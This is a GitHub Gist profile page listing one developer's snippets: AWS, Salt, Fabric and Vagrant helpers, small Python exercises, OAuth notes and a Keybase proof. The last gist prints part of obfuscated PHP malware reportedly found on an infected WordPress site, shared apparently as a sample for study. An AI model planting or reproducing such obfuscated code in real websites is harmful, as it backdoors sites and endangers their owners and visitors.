Skip to content

Instantly share code, notes, and snippets.

David Warkentin ev0rtex

  • Instructure
Block or report user

Report or block ev0rtex

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@ev0rtex
ev0rtex / instance-types.sh
Created Jul 23, 2019 — forked from trestletech/instance-types.sh
Get all EC2 Instance Types in All Availability Zones
View instance-types.sh
#!/bin/bash
echo "Getting list of Availability Zones"
all_regions=$(aws ec2 describe-regions --output text --query 'Regions[*].[RegionName]' | sort)
all_az=()
while read -r region; do
az_per_region=$(aws ec2 describe-availability-zones --region $region --query 'AvailabilityZones[*].[ZoneName]' --output text | sort)
while read -r az; do
@ev0rtex
ev0rtex / rpn.py
Created May 6, 2018
Python RPN calculator implementation
View rpn.py
#!/usr/bin/env python3
import sys
import operator
from decimal import Decimal
def main():
ops = {
"+": operator.add,
"-": operator.sub,
@ev0rtex
ev0rtex / water_bodies.py
Created Apr 27, 2018
Sorted sizes of bodies of water
View water_bodies.py
#!/usr/bin/env python3
DIAGONAL_WATER = True
def dfs_from(arr, i, j):
size = 0
if i >= 0 and j >= 0 and i < len(arr) and j < len(arr) and arr[i][j] == 0:
arr[i][j] = -1 # Mark visited
size += 1
size += dfs_from(arr, i, j + 1) # right
size += dfs_from(arr, i + 1, j) # down
View keybase.md

Keybase proof

I hereby claim:

  • I am ev0rtex on github.
  • I am darkwing (https://keybase.io/darkwing) on keybase.
  • I have a public key whose fingerprint is 7EEB 9106 942E CD46 0C5C 15C0 66BA AD06 E6A9 850A

To claim this, I am signing this object:

@ev0rtex
ev0rtex / pillar_elastic.sls
Last active Aug 29, 2015
ElasticSearch via Salt
View pillar_elastic.sls
esversions:
1.5.1:
zip: "https://download.elasticsearch.org/elasticsearch/elasticsearch/elasticsearch-1.5.1.zip"
tar: "https://download.elasticsearch.org/elasticsearch/elasticsearch/elasticsearch-1.5.1.tar.gz"
deb: "https://download.elasticsearch.org/elasticsearch/elasticsearch/elasticsearch-1.5.1.deb"
rpm: "https://download.elasticsearch.org/elasticsearch/elasticsearch/elasticsearch-1.5.1.noarch.rpm"
apt: "http://packages.elasticsearch.org/elasticsearch/1.5/debian"
yum: "http://packages.elasticsearch.org/elasticsearch/1.5/centos"
plugins:
elasticsearch/elasticsearch-analysis-icu: 2.5.0
View raet.sls
# Get version information
{% set versions = salt['pillar.get']('versions', {
"libsodium": "1.0.2"
}, True) %}
# Fetch libsodium tar and hash
{% do salt['cp.get_url'](
"https://download.libsodium.org/libsodium/releases/libsodium-" ~ versions.libsodium ~ ".tar.gz",
"/tmp/libsodium.tar.gz"
) %}
@ev0rtex
ev0rtex / DDM_OAUTH.md
Last active Jan 21, 2016
DDM OAuth2 API
View DDM_OAUTH.md

DDM OAuth2 API

##OAuth2 Flow

Definitions:

Resource Owner: A User with access to a desired resource Client: Entity (3rd party) desiring access to a resource held by the Resource Owner Authorization Server: OAuth2 API server capable of granting access to resources Resource Server: The server with the desired resource(s) for which access is desired

@ev0rtex
ev0rtex / vagrant-cd.zsh
Created Jul 28, 2014
Change to directory of vagrant-managed VM
View vagrant-cd.zsh
function vagrant-cd() {
VMS=()
OLD=$IFS
IFS=$'\r\n'
for line in $(vagrant global-status | egrep "^[a-z0-9]{7}\s" -); do
VMS+=($line)
done
IFS=$OLD
if [[ -z "$1" ]]; then
@ev0rtex
ev0rtex / fabfile.py
Last active Aug 29, 2015
Fabric access control
View fabfile.py
from fabric.api import env, run, sudo, prompt, hide, warn_only, quiet
from fabric.contrib import files
from getpass import getpass
import os
import re
def login(user=None, passwd=None):
uname = user if user is not None else prompt("Remote username: ", default=env.user)
pword = passwd if passwd is not None else getpass("Remote password: ")
@ev0rtex
ev0rtex / infection_encoded.php
Created Apr 4, 2014
Malicious code found in infected WP setup
View infection_encoded.php
<?php $gyhweuqbjh = 'fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbj%x5c%x7825>j%x5c%x7g!|!**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj41%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"]=1; function fjfgg($n){.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*[%x5c6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x724]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbssx78256<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x782x7825ggg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]2%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR65!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvM4P8]37]278]225]241]334]368]322]3]364]6]283]427]36]373]47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572obs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>
You can’t perform that action at this time.